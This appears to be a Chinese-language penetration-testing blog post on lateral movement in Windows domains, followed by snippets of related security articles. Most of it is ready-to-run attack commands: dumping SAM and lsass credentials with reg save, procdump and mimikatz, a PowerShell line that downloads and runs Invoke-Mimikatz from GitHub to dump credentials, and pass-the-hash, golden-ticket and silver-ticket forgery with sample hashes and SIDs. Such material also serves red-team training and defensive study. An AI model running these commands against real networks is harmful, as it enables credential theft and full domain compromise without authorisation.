内网渗透之域内横向移动

VSole2021-10-31 15:51:58

hash 介绍

在域环境中,用户信息存储在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;

非域环境也就是在工作组环境中,当前主机用户的密码信息存储着在sam文件(C:\Windows\System32\config\SAM)。

Windows操作系统通常使用两种方法(LM和NTLM)对用户的明文密码进行加密处理。

LM只能存储小于等于14个字符的密码hash

如果密码大于14个,windows就自动使用NTLM对其进行加密。

LM Hash的全名为”LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列值加密算法,XP、win2k和win2k3来说

系统默认使用LM进行加密,个人版从Windows Vista 以后,服务器版从Windows Server 2003以后该方法被禁用。

如果抓取的LM Hash值是”aad3b435b51404eeaad3b435b51404ee”

可能的情况有:LM Hash值为空、密码大于14位、被禁用或者认为设置。

NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。

NTLM Hash是基于MD4加密算法进行加密的。

Windows操作系统的认证方式均为NTLM Hash。

hash 获取

要在windows系统中抓取nt-hash或者明文,必须要system权限

想要破解sam文件与ntds.dit文件都需要拥有一个system文件

(C:\Windows\System32\config\SYSTEM)

离线获取

导出 sam 和 system 文件

reg save hklm\system  C:\Users\Administrator\Desktop\hash\system.hive
reg save hklm\sam C:\Users\Administrator\Desktop\hash\sam.hive

使用 mimikatz

lsadump::sam /sam:C:\Users\Administrator\Desktop\hash\sam.hive /system:C:\Users\Administrator\Desktop\hash\system.hive

mimikatz

本地读取

将 mimikatz 传到目标机器

privilege::debugtoken::elevatelsadump::sam

在线读取

mimikatz.exe privilege::debug sekurlsa::logonpasswords

lsass.dmp

使用 procdump 导出 了lsass.dmp 文件

procdump.exe -accepteula -ma lsass.exe C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::minidump C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::logonpasswords full

powershell

远程获取

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

hash 传递(pth,pass the hash)

测试环境

域:tisheng.test

用户名:administrator

NTLM hash:3ec403e7aee6461f12e8f7b644410605

用管理员权限运行

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:tisheng.test /ntlm:3ec403e7aee6461f12e8f7b644410605"

成功后回弹出一个新的窗口

票据传递(ptt,path the triket)

票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。

PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

黄金票据(tgt,Golden Ticket)

金票是通过伪造的TGT(TicketGranting Ticket),金票就有了域内的最高权限。

制作金票的条件
1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH (krbtgt 域账户的密码基本不会更改,即使域管密码被修改,它也不会改变)
4、伪造用户名,可以是任意的

获取数据

mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:tisheng.test /user:krbtgt"

生成金票

方法1:

生成金票

kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

将金票导入内存

kerberos::purge                  //清空内存中的票据kerberos::ppt golden.kiribi        //导入票据kerberos::list                    //查看票据

方法2:

kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /pttkerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097/krbtgt:070dac97f50c95d08e98be1578327e7b /ptt

也可以使用 ase256 生成

kerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097-502 /aes256:9dd45bd4b2c39a54240f5dc03bb4ecfb023285cf956425ba16f61db7ee48040d  /ptt

方法3:

在域控上执行

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

将生成的文件保存下来

mimikatz "privilege::debug"  "kerberos::ptt [0;b9476]-2-0-40e10000-Administrator@krbtgt-TISHENG.TEST.kirbi"

白银票据(st,SilverTickets)

银票只能访问指定服务

制作银票的条件
1.域名称2.域的SID值3.域中的Server服务器账户的NTLM-Hash4.伪造的用户名,可以是任意用户名.5.目标服务器上面的kerberos服务
服务名称                    同时需要的服务WMI                        HOST、RPCSSPowerShell Remoting        HOST、HTTPWinRM                    HOST、HTTPScheduled Tasks            HOSTWindows File Share        CIFSLDAP                    LDAPWindows Remote Server    RPCSS、LDAP、CIFS

生成白银票据

kerberos::golden /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097 /target:dc.tisheng.test /service:cifs /rc4:3ec403e7aee6461f12e8f7b644410605 /user:test /ptt

kerberossystem
本作品采用《CC 协议》,转载必须注明作者和本文链接
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
发现内网主机:10.10.10.2、10.10.10.4在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况meterpreter > shell. 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2设置路由使用 Nmap 对内网主机进行扫描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
"Potato"的早期利用技术几乎完全相同:利用 COM 接口的某些特性,欺骗 NT AUTHORITY\SYSTEM 账户连接并验证攻击者控制的 RPC 服务器。最后,该令牌被窃取,然后使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函数传递令牌并创建一个新进程以获取 SYSTEM 权限。在 Windows 域环境中,加入域的系统计算机帐户使用 SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虚拟帐户进行身份验证。
S4UTomato是一款功能强大的权限提升工具,该工具专为蓝队研究人员设计,可以通过Kerberos将服务账号(Service Account)权限提升为LocalSystem。
kerberos协议从0到1
2021-10-12 14:26:38
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
kerberos委派详解
2021-10-08 14:49:15
委派域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
本文是很久之前做的笔记,今天有空又梳理了一下,分享出来。如果有错误或疏漏,欢迎留言指出。 Kerberos是一种基于票据的、集中式的网络认证协议,适用于C/S模型,由MIT开发和实现(http://web.mit.edu/kerberos/dist/)。 这里所谓的认证,就是保证使用票据(Ticket)的用户必须是票据中指定的用户。 简单回忆一下,密码学涉及机密性、完整性、认证性(实体认证+
本文主要记录了如何通过一些列操作,将生成的keytab导入wireshark,实现可以在wireshark中直接对Kerberos协议加密部分进行解密的一个过程,避免大家踩坑。
域渗透重要漏洞汇总
VSole
网络安全专家